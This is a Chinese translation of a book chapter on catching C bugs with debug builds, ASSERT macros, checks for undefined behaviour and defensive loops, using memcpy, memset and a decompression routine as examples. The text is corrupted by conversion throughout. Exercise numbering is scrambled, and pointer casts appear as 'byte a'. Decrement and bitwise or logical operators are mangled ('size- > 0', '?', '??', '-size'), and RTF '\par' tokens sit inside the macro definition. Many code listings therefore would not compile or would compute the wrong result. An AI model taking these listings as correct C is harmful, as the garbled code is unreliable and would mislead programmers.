1. 假设你正使用编译器选项禁止在while条件式中使用指派叙述。为何这样子会抓到底下的这个错误？

2. while (ch=getchar() != EOF)

3. .

4. .

.

5. 你已经件事过如何使用编译器来捕捉无意中产生的空叙述与指派叙述。对下面这些会让编译器选择性的产生警告的常见问题给些建议，你该如何避开这些警告？

a. if(flight==063) 你认为你正在测试Flight 63，可是实际上因为起头那个0让编译器认为063是个八进制数字，而造成你实际上是在测试Flight 51。

b. if (pb != NULL & *pb != 0xFF) 你不小心把&&打成了&，让*pb != 0xFF在pb为NULL时一样会被执行到。

c. quot = numer /* pdemon; 不管你的意思是什么，那个/*是被当成注释的开头解释的。

d. word=bHigh<<8 + bLow;由于运算子顺序的规则，不管你的原意为何，这式子被解释成word=bHigh<<(8+bLow);

6. 编译器怎样自动警告你"孤立的else叙述"的可能错误？你该怎样避开这种错误？

7. 再来看一下底下这段错误程序：

8. if (ch = '')

ExpandTab();

你可以另一种常见方式来抓到这种错误而不用禁止if叙述中的指派用法。你可以将两个操作数的顺序反过来看看：

if ('' = ch)

ExpandTab();

如果你把==打成了=，编译器这时就会抱怨，因为你不能把任何东西指派给一个常数。这种解决方案有多彻底呢？为何这个方法不如编译器的编译选项那样自动化？

9. C语言的前置处理器也可能产生非预期的结果。例如，UINT_MAX宏定义在limits.h中，可是你如果忘了引用这个表头档，#if编译底下的指示将会什么错误讯息也没发出就出错了－前置处理器将把未定义的UINT_MAX替换成0，而测试结果就不正确了：

10. .

11. .

12. .

13. #if UINT_MAX > 65535u

14. .

15. .

16. .

#endif

学习计划：

为了简化维护雏形宣告的工作，有些编译器会在编译程序时自动产生表头宣告。如果你的编译器不支持这种选项，写个会替你作这件事的工具吧。标准的函式写法会让这样的工具多好写呢？

学习计划：

如果你的编译器没支持本章节所提到的警告选项（包括前面习题里提到的），鼓励你的编译器制造商支持这些选项吧。也顺便催你的编译器制造商提供选择性开关特定警告讯息的方法，以便让你能够开关不同类型的选择性错误。为何这么做是必须的呢？


自我維護

自我維護

用编译器来自动抓虫是很棒的事，但是我打赌，如果你检查过程序项目中抓到的那些臭虫，你会发现编译器只抓到了其中一小部份。我打赌，如果你将臭虫隔离开来，你会发现程序现在大概会执行得很正常。

还记得下面这个第一章中的程序片段吗？

strCopy = memcpy(malloc(length), str, length);

这程序在任何状态下都会正常运作，除非malloc配置内存失败。当内存配置失败时，malloc会传给memcpy一个NULL指针，而memcpy没办法处理这种状况。如果你够幸运，在你推出这个产品之前，你就会看到这个系统当掉；否则，你的顾客也会碰到程序当掉的灾难。

编译器抓不到像这样的错误，也没有编译器能够帮你抓到算法中的错误，检验你的假设，或在资料传递时进行一般性的查核工作。

找寻这种错误是困难的事情，需要一名有技巧的程序员或测试人员整个把它们挖出来。不过要自动找到这类错误是容易的事情，如果你知道怎么做的话。

两个版本的故事

让我们更进一步，看看你该怎么抓到像上头那个memcpy叙述中的错误。最简单的解决办法就是让memcpy检查NULL指针是不是被当成了参数使用，如果是，就丢个错误讯息出来，并中止程序执行。底下就是我们自己改良过的新版memcpy：

/* 复制一段非重叠的内存。 */

void *memcpy(void *pvTo, void *pvFrom, size_t size)

{

byte *pbTo = (byte *)pvTo;

byte *pbFrom = (byte *)pvFrom;

if (pvTo == NULL || pvFrom == NULL)

{

fprintf(stderr, "Bad args in memcpy");

abort();

}

while (size- > 0)

*pbTo++ = *pbFrom++;

return (pvTo);

}

使用这个函式，没人会漏掉将NULL指针传给memcpy函式的错误。剩下来的问题只是这种测试方式把程序变大而且变慢了些。如果你觉得这是另一个有医比没医更糟糕的状况，我想你是对的；这种测试方式并不实用。这时C语言前置处理器就派上用场了。

如果你有两个版本的程序，结果会怎样？一个发行版本又快又好，另一个包含额外检查码的版本则又胖又慢。你可以在同一份原始码中维护两个版本的程序，只要使用C语言的前置处理器来条件性的加入或移除检查程序代码就好了。

举例来说，你可以让NULL指针的测试只有在DEBUG符号被定义时才会被编译到：

void *memcpy(void *pvTo, void *pvFrom, size_t size)

{

byte *pbTo = (byte a)pvTo;

byte *pbFrom = (byte a)pvFrom;

#ifdef DEBUG

if (pvTo == NULL || pvFrom == NULL)

{

fprintf(stderr, "Bad args in memcpy");

abort();

}

#endif

while (size- > 0)

*pbTo++ = *pbFrom++;

return (pvTo);

}

这里的构想是同时维护你程序的除错跟非除错版（就是用来公开发行的版本）。在写程序时，你编译出除错版的程序，在加入新功能时用它来自动除错。之后，当你准备推出产品时，重新编译一个公开发行版，把它打包好，就可以送去给经销商了。

当然，你不会真的想等到推出产品的最后一刻才执行你的程序－那太糟糕了。在开发过程中，你就应该让程序的除错版本能跑得动了，主要的理由在于，如我们将在本章跟下一章中看到的，执行除错版本的程序能大幅降低发展程序所需要的时间。如果每个函式都有着最低限度的错误检查跟测试不应该发生的状况，想象一下你的程序将会多么稳固啊。

技巧，当然就是确保除错码是最后产品中完全不必要的额外程序代码。你也许明白了，不过稍后我还会在提一下。

同时维护你程序的发行跟除错版本。

除错检查宏ASSERT的说明

坦白说,，我在memcpy里头放的除错码看来很差而且占据了整个函式的空间。我知道不多程序员忍受得了这种东西，即使这么做的理由很好。所以有些精明的程序员就把这些除错码全用个宏隐藏起来，把它称作assert除错检查宏，全定义在ANSI的assert.h表头档里头。

assert只是我们之前看到那些#ifdef程序代码的重新包装版而已，不过当你使用宏时，它只需要用到一行原始码的空间而已：

assert只是个除错专用的宏，会在参数为false时中止程序的执行。在上头的程序中，如果两个指针之中有一个是NULL，assert就会发生效用。

assert并不是一个匆匆拼凑而成的宏；你必须小心定义它，避免在除错版跟发行版的程序中出现重大差异。assert不应该干扰到内存内容，不应该初始化原先未初始化的内存，也不应该产生任何副作用，程序在除错时产生的结果得跟发行版的一模一样。所以assert才被写成宏而不是一个函式；如果它是个函式，呼叫它将会造成非预期的内存或程序变化。记住，程序员是把assert当成非破坏性的测试工具使用，因为他们能够安全的使用它而不会改变系统状态。

你也应该留意到，一旦程序员学会用除错检查宏，他们常会重新定义assert宏的内容。举例来说，与其让assert在错误发生时中止程序执行，程序员有时会把assert重新定义，让它在错误发生时把控制权转移给除错器去处理。有些版本的assert甚至给你选择是否要当成错误没发生过，让程序继续执行下去。

如果你决定定义自己的除错维护宏，想个assert以外的名称，让那些使用标准除错检查宏的程序不会受到影响。在本书中，我会使用非标准的除错维护宏，我给了它一个叫做ASSERT的宏名称，好在程序中辨识出它来。assert跟ASSERT的主要差别在于assert是个你能自由使用在程序中的表达式，而ASSERT是个叙述，限制了能使用的地方。使用assert，你可以写这样子：

if (assert(p != NULL), p->foo != bar)

.

.

.

改用ASSERT的话，你会碰到语法错误的警告。我是故意这样安排的，除非你想在表达式里头使用除错检查宏，不然你应该将ASSERT定义成一个叙述，这样编译器才能在你把它误用在表达式中时发出错误。记住，这里的每一点都对除错有所帮助。为何要让你根本用不着的弹性存在？

你可以如下定义ASSERT宏：

#ifdef DEBUG

void _Assert(char *, unsigned); /* prototype */

#define ASSERT(f) \par if (f) \par {} \par else \par _Assert(__FILE__, __LINE__)

#else

#define ASSERT(f)

#endif

你看到如果DEBUG定义了，ASSERT将会扩展成一个if叙述。if叙述中的空区块可能有点奇怪，不过你需要前头的if跟后头的else，以免出现非预期的if叙述被孤立的警告。你也许会觉得你需要在呼叫_Assert之后的)后头加个分号，不过你并不并需要这么作，因为你在使用ASSERT时就会自己加上那个分号了：

ASSERT(pvTo != NULL && pvFrom != NULL);

当ASSERT叙述不成立时，它会以前置处理器透过__FILE__跟__LINE__宏提供的文件名称跟行号数当成参数来呼叫_Assert. _Assert会把错误讯息印到stderr，然后中止程序执行：

void _Assert(char *strFile, unsigned uLine)

{

fflush(NULL);

fprintf(stderr, "failed: %s, line %u",

strFile, uLine);

fflush(stderr);

abort();

}

程序结束前，你得呼叫fflush来完全写出缓冲区中等待输出的东西。呼叫fflush(NULL)是非常重要的，因为这样可以确保错误讯息在其它缓冲区的东西都被送去写入后才出现。

现在，如果你使用NULL指针呼叫memcpy，ASSERT将抓到这个错误，并印出如下的讯息

Assertion failed: string.c, line 153

这显示出了assert跟ASSERT的差别。标准宏会显示一个类似上头的讯息，可是它也会显示不成立的那个测试表达式。底下就是我常用的一个编译器产生的assert不成立时的讯息：

Assertion failed: pvTo != NULL && pvFrom != NULL

File string.c, line 153

将条件运算视野一起印出来的唯一问题是当你使用assert时，程序中也会包含一份这个条件式的文字给_Assert打印。那编译器怎么存放这字符串？麦金塔、MS-DOS跟Windows的编译器一般都会将字符串放在整体资料区域内，在麦金塔上的整体资料区域大小限制一般是32K，在MS-DOS跟16-bit Windows上，这个大小限制是64K. 对于如Microsoft Word跟Microsoft Excel这类的大程序来说，这些除错维护字符串会迅速吃光整体资料区域的空间。

译注：

在Mac OS 7.0的32-bit addressing跟Win 95/98/NT下，类似的限制几乎是不存在了。不过不要忘了，即使没有限制了，这些除错讯息所用到的字符串还是要吃内存的。

当然有解决方法，不过最简单的就是从错误讯息中省掉那个条件表达式的字符串。毕竟，当你看过string.c的第153航后，你就知道问题在哪里，你可以在那里头找到原因。

如果你想看看怎样标准的assert是怎么定义的，你可以看到系统上提供的assert.h档案。ANSI标准的Rationale段落也谈到assert，并提供一个可能实作。P. J. Plauger也在他的书The Standard C Library (Prentice Hall，1992)中提到实作标准assert的巧妙之处。

不管你最后怎么定义自己的除错维护宏叙述，用它来核对传给函式的参数正确性。如果你在每个函式的进入点都检查资料的正确性，程序的错误不用多久就会被找到。最棒的，是这些错误都是在发生时就被自动抓到的。

用除错检查宏来核对函式参数。

"未定义"就要"厘清"

如果你要停下来看ANSI C怎么定义memcpy子程序的，你会看到最后一行写着，"在互相覆盖的内存区块间进行资料搬移动作时的行为是未定义的。"其它书籍将这种未定义说得不太一样，像Standard C (Microsoft Press，1989)，P. J. Plauger跟Jim Brodie说，"数组的元素可以任意顺序存取跟存放。"

简单说来，这些书在说的就是，如果你依赖memcpy在处理重叠的内存块时的某种特定行为，你假定这种在不同计算机系统间或甚至同个编译器的不同版本间可能有所变化的行为是不变的。

我确定有程序员谨慎的使用着这种未定义的行为，不过我想大部分的程序员聪明的避免这么作。那些不避开这种未定义行为的人最好学着避开它。大部分程序员将未定义行为视作非法行为，这时除错检查宏就派上用场了。如果你在想呼叫memmove时使用memcpy，你不想多了解一点这样子有什么不同吗？

你可以加强memcpy的功能，加上一个除错检查宏来检查两个内存区间是不是完全没重叠到：

/* memcpy -- 复制一块非重叠的内存区域。 */

void *memcpy(void *pvTo, void *pvFrom, size_t size)

{

byte *pbTo = (byte a)pvTo;

byte *pbFrom = (byte a)pvFrom;

ASSERT(pvTo != NULL && pvFrom != NULL);

ASSERT(pbTo >= pbFrom+size || pbFrom >= pbTo+size);

while (size- > 0)

*pbTo++ = *pbFrom++;

return (pvTo);

}

那个只有一行的重叠检查也许运作得不太明显，不过你可以简单的把两块内存想成两台停在交通号志前面的车子。当一台车子的后安全杆在另一台车的前安全杆之前时，你知道车子不能重叠。这里的检查就是实作这样的想法：pbTo跟pbFrom就是两块内存的后端，而pbTo+Size跟pbFrom+size就是两块内存的前端，这就是整个实作所需的东西。

不要让这种事情发生

在1988年尾，微软的一只大金牛－MS-DOS版Word的推出日期已经顺延了三个月，而且严重影响到公司的底线。（这些喜怒无常的大金牛们常见这种问题。）那次顺延令人挫折的一面是Word的开发团队在那三个月中认为这个东西"随时都可以推出了"。

Word小组依赖一个应用工具小组开发的一个关键组件，而这个工具小组一直告诉Word小组说那个程序快写好了，而且工具小组内的人也真的相信自己所说的。他们不明白自己的程序代码中充满了问题。

Word程序代码跟那个工具小组的程序代码中一个显著的不同点是，Word的程序代码过去充满了（现在也还是如此）除错检查宏跟除错码，而那个工具小组则完全不使用除错检查宏，所以这些工具程序员没办法判定他们的程序到底有多少问题。臭虫一直跑出来，那种如果用了除错检查宏的话，早在好几个月前就被抓光了的臭虫。

顺带一提，如果你不了解为何重叠内存间搬移的问题是如何重要，想想当pbTo等于pbFrom+1而你至少搬移两个字节时的情况－memcpy不会正确动作。

所以在将来，请停下来检视你的程序中未定义行为的运用。如果发现有哪里用到了未定义行为，请将它从设计中移除，或加上一段除错检查宏来警惕程序员们他们正在使用的是未定义的行为。

如果你提供链接库（或操作系统）给其它程序员，处理未定义行为将是非常重要的。如果你曾经发展过这样供人使用的链接库，你就会了解其它程序员可能会使用任何他们找得到的未定义行为来产生他们要的结果出来。当你推出改进并推出新版链接库时，这些未定义行为的使用结果就会真正浮现台面。你会发现当你的链接库百分之百兼容于过去版本时，总是有一半使用它的程序当掉了。原因很简单：新的链接库不完全兼容于旧链接库的"未定义行为"。

拿掉程序中用到的未定义行为，不然就用除错检查宏把未定义行为的错误使用抓出来。

哀嚎着"危险"的程序代码

当我们谈到这里，我想再提处理memcpy重叠状况的除错检查宏一下。再看一下底下这东西：

ASSERT(pbTo >= pbFrom+size || pbFrom >= pbTo+size);

假设你呼叫了memcpy而上头的除错检查宏发生了不成立的状况。当你检查时，如果你从来没看过如何检查内存区域的重叠，你会晓得哪里出问题了吗？我想我大概不晓得。这种写法的诡异或不清楚是不用提了－毕竟，它只是个简单的内存区间重叠检查。不过简单跟明白是两回事。

记住我的话，没有多少事情比底下这件更让人有挫折感的－追踪程序执行到别人写的除错检查宏里头，却摸不清楚为何放个那样的检查在那边。你不但没修好问题，反而浪费了许多时间来想问题究竟在哪里。这样还没结束哩，程序员们有时会写出有问题的除错检查宏，可是如果当你除错时，如果你根本不知道他们的除错检查宏在检查什么，那你根本就很难弄清楚该修理这程序还是那个除错检查宏。

幸运的，这问题很好收拾－只要对用意不明的除错检查宏加上注释就好了。这听来简单，可是很少程序员作到这点。他们制造了一堆麻烦让你不会碰到危险的东西，可是他们不会告诉你危险的究竟是什么。就好象走在森林里，你看到一个牌子钉在树上，牌子上写着大大的红色危险字样，那到底哪个东西才是危险的？是树会倒下来吗？还是附近有废弃的矿坑？或是有沼泽怪兽大脚？除非你告诉人们危险的是什么（或至少那东西很明显），不然你留下的警告标志一点也没帮到他们，树林中的人们将会忽略那个警告标志。相似的，程序员们会忽略任何他们看不懂得除错检查宏－他们假设那个检查是错的而把它拿掉，所以才需要加上注释来加以详细说明。

这不是用来抓错误的

当程序员们开始使用除错检查宏时，他们有时会用它来捕捉真正的错误，而不是非法状况。例如下面这个strdup函式中的除错检查宏：

/* strdup - 配置一块内存来复制一个字符串。 */

char *strdup(char *str)

{

char *strNew;

ASSERT(str != NULL);

strNew = (char a)malloc(strlen(str)+1);

ASSERT(strNew != NULL);

strcpy(strNew, str);

return (strNew);

}

在这程序中，第一个除错检查宏用得对，因为它检查只要程序正确执行就永远不会发生的错误状况。第二个就不一样了－它检查一个会出现在最后产品中而必须要处理掉的错误。这样的用法是不对的，应该补上一段错误状况处理程序才是。

如果一种错误有个大概解决方案，最好把它纪录下来。当一名程序员呼叫memcpy来搬动重叠的内存区域时，那很可能就是他或她想作的事情，只是没注意到内存区域有重叠到而已。你可以加个注释来说明，如果要搬动重叠的内存区域，应该用memmove：

/* 内存区块重叠时，请改用memmove. */

ASSERT(pbTo >= pbFrom+size || pbFrom >= pbTo+size);

你不需要写得很长，一种做法是使用简短的问题来诱使程序员自己想办法，这样比起长篇大论的解释每个解决的细节要能让看的人得到更多信息。不过要小心的－除非你确定有用，不然不要随便建议一个做法给别的程序员当作问题的解决方案，你总不想让你的注释误导别人吧？

不要浪费别人的时间，把你自己的除错检查宏注释说明清楚。

你又在假设东西如你想的那样了吗？

有时在你写程序时，你需要作些目的环境的假设，虽然不总是如此。举例来说，底下的memset子程序就不用任何关于使用环境的假设而能在任何一种ANSI C编译器上用得很好：

/* memset - 将内存填满那个字节型态参数的值。 */

void *memset(void *pv, byte b, size_t size)

{

byte *pb = (byte *)pv;

while (size- > 0)

*pb++ = b;

return (pv);

}

不过对许多环境来说，你能写个更快速的memset子程序，将一个较大的资料型态填满那个字节型态参数的值，再拿这个较大的资料型态用较少的循环次数填满几乎同样多的内存。底下的例子，在68000微处理器上，就能以前一页本来那个可移植版的memset跑得快四倍：

/*

* longfill - 将内存填满long参数的值，并传回一个指针指向

* 最后一个填入的长整数之后的一个下长整数的地址。

*/

long *longfill(long *pl, long l, size_t size);

/a prototype */

void *memset(void *pv, byte b, size_t size)

{

byte *pb = (byte a)pv;

if (size >= sizeThreshold)

{

unsigned long l;

l = (b << 8) ? b;/* 将一个长整数的四个字节都填成b的值。 */

l = (l << 16) ? l;

pb = (byte a)longfill((long a)pb, l, size / 4);

size = size % 4;

}

while (size- > 0)

*pb++ = b;

return (pv);

}

上面这个子程序相当简单，除了那个对sizeThreshold的检查可能有点不清楚。不清楚的东西为什么要留着呢？想想，将一个长整数的四个字节填成我们要的值也是需要时间的，再加上呼叫longfill函式的损耗时间，对sizeThreshold的检查确保memset只有在能比原先的做法跑得更快时，才会使用新的做法。

新版本memset唯一的问题是，它使用了一堆对编译器与操作系统的假设。这程序假设长整数一定是四个字节长的，而一个字节一定是八个位宽的。这样的假设在许多计算机上都成立，而且现在在微电脑上也近乎每一部上头都成立。可是，那不代表你应该让程序依赖于这样的假设之上，因为唯一靠得住的假设，就是你的假设现在可能成立，可是几年后却可能不成立。

译注：

从十六位的MS-DOS，Windows 3.1到三十二位的Mac OS与Win32环境跟目前的大部分Unix版本下，大部分的编译器都将长整数当成32位长的。但在微软公司1998年五月订定的Win64环境的资料型态标准中，长整数的长度延伸成了64位长。在一些64位微处理机的系统上，如DEC Alpha，也有编译器将长整数的长度订为64位长的。所以依赖这种位长度的假设可以说是相当危险的一件事情。

有些程序员会将这子程序改写成底下这样，来改善可移植性：

void *memset(void *pv, byte b, size_t size)

{

byte *pb = (byte a)pv;

if (size >= sizeThreshold)

{

unsigned long l;

size_t sizeLong;

l = 0;

for (sizeLong = sizeof(long); sizeLong- > 0; )

l = (l << CHAR_BIT) ? b;

pb = (byte a)longfill((long a)pb, l, size /

sizeof(long));

size = size % sizeof(long);

}

while (size- > 0)

*pb++ = b;

return (pv);

}

这程序看来比较具有可移植性，因为它使用了大量的sizeof运算子，可是用看的一点意义也没有；你还是得在它移植到另一个环境后，重新检查一遍。如果你将这程序在Macintosh Plus（译按：好几年以前的一种标准型麦金塔计算机）或任何其它68000计算机上执行，这程序在pv一开始就指向奇数地址时就当掉。因为byte *跟long *两种资料型态在68000上是不能完全互通的－你不能把一个长整数存放在奇数地址上，不然就会引发微处理器的总线地址失误。

译注：

32位微处理器如Motorola 68000跟Sun Sparc要求长整数一定要存放在偶数地址上，不然就会引发Bus fault，总线地址失误。好一点的操作系统会处理这个失误，把程序关闭掉，差一点的操作系统干脆直接当机了事。从Motorola 68020允许长整数存放在奇数地址以后，这种地址存取失误就变成可以选择性关闭触发了；其实在Intel 80386以后的微处理器也都支持开启这样的地址存取失误处理，不过在Windows底下是绝对不会开启这旗标的。

所以你该怎么作才好呢？

在这里，你不想把memset写成本来那个没有可移植性问题的版本，而想接受那些不可移植到其它环境的版本，抗拒以后可能有的变化。对68000来说，你可以先只填入字节，直到对齐了偶数地址，才开始填入长整数。虽然对齐偶数地址就算足够了，在使用更新的68020，68030跟68040微处理器的麦金塔计算机上，对齐地址为四的倍数可以让长整数的内存填写达到更好的执行效率。如同其它假设情形，你可以用除错检查宏跟条件式编译叙述来核对这样的做法有没有用：

/* 将一个长整数的四个字节都填成填写内存用的字节值，再呼

叫longfill.

*/

void *memset(void *pv, byte b, size_t size)

{

byte *pb = (byte a)pv;

#ifdef MC680x0

if (size >= sizeThreshold)

{

unsigned long l;

ASSERT(sizeof(long) == 4 && CHAR_BIT == 8);

ASSERT(sizeThreshold >= 3);

/* 填入字节，直到对齐地址为四的倍数。 */

while (((unsigned long)pb & 3) != 0)

{

*pb++ = b;

size-;

}

/* 将一个长整数的四个字节都填成填写内存用的字节值，

再呼叫longfill. */

l = (b << 8) | b;

l = (l << 16) | l;

pb = (byte *)longfill((long *)pb, l, size / sizeof(long));

size = size % sizeof(long);

}

#endif /* MC680x0 */

while (size- > 0)

*pb++ = b;

return (pv);

}

如你所见，我把机器平台相关的程序代码放在检查MC680x0的前置处理器定义的条件式编译叙述里头。使用这样的前置处理器定义不只让这些不可移植到其它环境的程序在其它环境下不会被意外用到，当你在程序中搜寻MC680x0时，你就能找到各个依赖于执行环境的特定条件的程序代码。

我也加了个简单的除错检查宏来检查长整数是否占用四个字节，一个字节是否占用八个位。这些假设所依赖的条件也许不会改变，但是你怎么知道这些永远不会改变呢？

最后，我加了个循环在呼叫longfill之前让pb对齐内存地址，由于不管size多大，这个循环最多会执行三次，我还加上了一个除错检查宏来检查sizeThreshold最少为3. （sizeThreshold应该更大一点，不过最少一定要是3，不然程序就跑不动了。）

在这些改变之下，这个子程序明显不具可移植性，而所有的假设都用除错检查宏消除或检查过了。这样的设计让这个函式不太可能会被误用啰。

拿掉含糊的假设，不然就用除错检查宏来检查这些假设成不成立。

编译器是自家人写的又怎样？

微软公司内有的应用程序开发小组发现它们得检阅并清理他们的程序代码，因为程序里头到处都把+sizeof(int)写成+2，把无号数跟0xFFFF比较而不是跟UINT_MAX比较，把数据结构中 16位宽的字段写成int。

对你来说，本来的那些程序员们似乎很懒散，不过他们过去认为拿+2来取代+sizeof(int)确实有很好的理由。微软公司开发自己的编译器，这让程序员们有着安全的错觉。一名程序员好几年前说过一句话，"编译器小组永远也不会改变编译器的某些东西来让我们大修我们的程序。"

编译器小组改变了整数int（还有其它一些资料型态）的长度，以便产生在Intel的80386跟更新的微处理器上跑得更快而又更小的程序执行码。编译器小组不想让其它小组的人伤脑筋，可是对他们来说，在市场上维持竞争力是一件更重要的事情。毕竟，一些微软的程序员自己作出错误的假设并不是他们的错。

不可能的事情会发生吗？

一个函式的输入资料不总是来自函式参数，有时你从输入端只得到一个指针。看一下这个反压缩子程序：

byte *pbExpand(byte *pbFrom, byte *pbTo, size_t sizeFrom)

{

byte b, *pbEnd;

size_t size;

pbEnd = pbFrom+sizeFrom; /* 指针指的地方刚好在缓冲区尾端。 */

while (pbFrom < pbEnd)

{

b = *pbFrom++;

if (b == bRepeatCode)

{

/* Store "size" copies of "b" at pbTo. */

b = *pbFrom++;

size = (size_t)*pbFrom++;

while (size- > 0)

*pbTo++ = b;

}

else

*pbTo++ = b;

}

return (pbTo);

}

这程序将资料从一个缓冲区复制到另一个缓冲区，但在复制过程中寻找压缩字符的封包。如果他发现数据中有特殊字节bRepeatCode，它就知道接下来两个字节是要重复的字符跟该重复的次数。虽然这做法很简单，你可以在程序员使用文字编辑器中使用这样的子程序。在那样的程序中，通常每一行前面都有一堆缩排用的移位字符或空格符。

要让pbExpand更稳固，你可以在开头检查pbFrom，pbTo跟SizeFrom参数是否合格，不过你还可以做到更多检查：你可以核对缓冲区中的资料。

要编码一串文字要用三个字节，所以压缩子程序从来不会在相同字符只有两个时进行编码；把三个同样的字符编码起来也得不到好处。它只在同样的字符连续出现四次时，才会进行编码。

有个例外。如果本来的资料包含bRepeatCode，它得特别处理这个情形，以便在bRepeatCode单独出现时，pbExpand不会以为自己拿到了一个压缩过的封包。当压缩子程序发现bRepeatCode时，它把这东西当成被编码一次的bRepeatCode处理。

简单说来，对每个封包，长度最少是四，不然被编码的字节一定是bRepeatCode，而长度一定是一。你可以用个除错检查宏来查对这一点：

.

.

.

{

/* 将size个b存在pbTo的位置开始的地方。 */

b = *pbFrom++;

size = (size_t)*bFrom++;

ASSERT(size >= 4 ?? (size == 1 && b == bRepeatCode));

.

.

.

如果这个检查叙述不成立，一定是pbFrom指向了垃圾，不然就是压缩子程序出错了。两种情形都算是其它做法不好捉到的错误。

用除错检查宏来找出不可能发生的状况。

沉默的羔羊

假设有人聘你去写核子反应炉的软件，你得要处理炉心过热的情形。

一些程序员会以自动加水到炉心，插入控制棒，或任何他们认为要冷却炉心时所该作的事情来解决这个问题。只要这个程控全局，就不会触发警报。

别的程序员也许会选择只要炉心过热就触发警报。计算机还是可以自动处理状况，不过管理员总是可以知道有什么事情发生了。

你会怎么写这个程序？

我想不会有太多人不同意这个做法；你会警告管理员。让计算机把炉心温度冷却回正常状态是不对的，炉心不会自动增温－一定有些东西出错了，最好有人赶快找出哪里出了问题，才不会让同样的事情再度发生。

令人惊讶的，程序员们，尤其是经验老到的程序员们，每天写着修正一些非预期发生的问题的程序。他们甚至是故意这样写的，也许你也是这样子作。

当然，我所要针对的不是这样的程序员们，而是这样子防御性的程序设计方式。

在上一节里，我给你看过pbExpand是怎么写的了。那个函是使用了防御性的程序设计方式。这里有个改过的版本－看看它的循环条件吧：

byte *pbExpand(byte *pbFrom, byte *pbTo, size_t sizeFrom)

{

byte b, *pbEnd;

size_t size;

pbEnd = pbFrom+sizeFrom;/* 指针指的地方刚好在缓冲区尾端。*/

while (pbFrom != pbEnd)

{

b = *pbFrom++;

if (b == bRepeatCode)

{

/* 将size个b存在pbTo的位置开始的地方。 */

b = *pbFrom++;

size = (size_t)*pbFrom++;

do

*pbTo++ = b;

while (-size != 0);

}

else

*pbTo++ = b;

}

return (pbTo);

}

即使程序本身更精确的反映了算法，只有少数经验老到的程序员们会这样子实作这个算法。这样子写太危险了。

他们会认为，"我晓得pbFrom在外层循环永远不应该大于pbEnd，可是如果这种情形发生了呢？嗯，我最好在这种情形发生时，让这循环跳出来。"

他们会对内层循环也采用同样的逻辑,即使size应该总是大于或等于1，用个while循环代替do循环可以在size为0时让这程序不会当掉。

这样子似乎合理，甚至精明，从不可能发生的情形中保护自己。不过如果pbFrom不知怎的超出了pbEnd呢？你比较想在前一页那个比较危险的版本中找出为何如此呢，还是在我们稍早看到的那个防御性的版本里头，当作什么事情都没发生？

比较危险的那个版本大概会当掉，因为pbExpand会拿它所碰得到的内存地址中的所有东西来解压缩。你当然会注意到这个。那个防御性的版本，另一方面，则在pbExpand可以破坏任何东西以前就跳离开了。你可能还是找得到造成这种现象的问题，不过你不会跟我赌你找得到这个问题在哪里。

防御性程序设计方式看来似乎是一种比较好的写作方式，但它会把错误隐藏起来。记住，错误根本不应该发生，如果你把它们藏在安全处，那你就更难写出零错误程序了。特别是当你有个如pbFrom般到处乱指，每次都处理不同资料量的指针时，上面的话更是真实的。

这意味着你应该停止使用防御性的程序写作方式吗？

当然不是。防御性的写作程序会把错误隐藏起来，也同时有可贵的用途。一个程序最糟糕就是当掉，遗失使用者可能花了好几个小时建立的资料。在一个程序会当掉的非乌扥邦里，任何能避免使用者遗失资料的手段都是值得的。防御性程序设计方式正式朝着这样的目标前进，如果没有它，任何一点硬件或操作系统上的改变都可能让你的程序如一叠骨牌般完全倒掉。不过同时，你也不想用防御性的程序写作方式把错误隐藏起来。

假设pbExpand被呼叫时的参数不合格，特别是在sizeFrom有点小而数据缓冲区的最后一个字节刚好是bRepeatCode时。由于这最后一个字节看来像是个压缩封包的开头，pbExpand会一次读取超出缓冲区边界的两个字节，而让pbFrom超出pbEnd. 结果？危险版的pbExpand大概会当掉，而防御版的pbExpand会保护使用者免于遗失资料，虽然它还是清掉了255个字节的未知数据。两种行为都是你要的，不过是在不同版本的程序中。你要除错版的程序能在出错时警告你，也要发行版的程序能安全渡过错误状况而不会遗失资料。解决方式就是用你平常的那种防御性写作方式，加上一个除错检查宏来警告你东西出错了：

byte *pbExpand(byte *pbFrom, byte *pbTo, size_t sizeFrom)

{

byte b, *pbEnd;

size_t size;

pbEnd = pbFrom+sizeFrom;/* 指针指的地方刚好在缓冲区尾端。 */

while (pbFrom < pbEnd)

{

b = *pbFrom++;

.

.

.

}

ASSERT(pbFrom == pbEnd);

return (pbTo);

}

这个除错检查宏只是简单的查对程序有没正常结束。在发行版的程序中，这样的防御性程序保护使用者免于碰到错误。但在除错版的程序里，错误发生时还是会被报告出来。如果这样子还不够好，我不知道怎样子才算好了。

你还不用太关心这个。如果pbFrom在循环中一次总是加一，得要有个迷失的宇宙射线刚好打中它，把它踢到pbEnd后头去，这才会发生问题。在这种情形下，除错检查宏帮不了你任何忙。好好检查你的程序，善用你的常识吧。

最后一点，循环只是程序员们惯常防御性写作程序的地方之一。无论你在哪边用防御性的方式来写程序，问问你自己，"我正在用防御性程序写作的方式隐藏错误吗？"如果是，加上除错检查宏来帮你抓臭虫吧。

防御性的写程序时，不要把臭虫藏起来。

有两种算法好过只有一种算法

检查错误输入跟不正确的假设只是你在程序中抓虫所该作的事情中的一部份。如同其它函式可能丢垃圾给你的函式，你的函式也可能传回垃圾给它的呼叫者－你当然不想让这种事情发生。

memcpy跟memset都只传回一个参数，它们不太可能会意外传回垃圾给呼叫它们的程序。不过对于更复杂的子程序来说，你可能就没办法如此肯定了。

举例来说，我最近写了个68000反组译器，作为一个麦金塔程序开发工具的一部份。对反组译器来说，速度不是最重要的，重要的是它正确运作，所以我决定用一种简单的查表算法来写这个程序，好让我能简单的测试它，我也用了除错检查宏来自动捕捉任何我在测试程序时漏掉的错误。

如果你看过汇编语言的参考手册，运气好的话，上头会有每个指令的仔细说明。而且为了表示这本手册很完整，它还会附一张每个指令的位编码表。举例来说，如果你在一本68000参考说明书上头找到ADD这指令，你会看到它的位编码格式如下：

你可以把这指令的缓存器代码跟模式代码那两栏忽略不看－我们在乎的只有那些明白为0或1的位－在这例子中，就是这指令的前四个位。你可以判断一个指令是不是个ADD指令，只要将它不明确的位滤掉，再比较剩下的前四个位是不是1101，或十六进制的0xD就好了：

if ((inst & 0xF000) == 0xD000)

这是个ADD指令...

DIVS指令（用来作有号数除法）的编码格式中有七个明确的位：

如果你将不明确的位滤掉，你就可以用下头的叙述分辨一个指令是不是DIVS：

if ((inst & 0xF1C0) == 0x81C0)

这是个DIVS指令...

你可以用这种屏蔽测试的技巧来分出每个汇编语言指令，一旦你分出了ADD或DIVS，你可以呼叫一个译码函式来判读刚刚我们忽略掉的位里头的缓存器跟指令模式讯息。

这就是我在工具中发展的反组译器的运作方式。

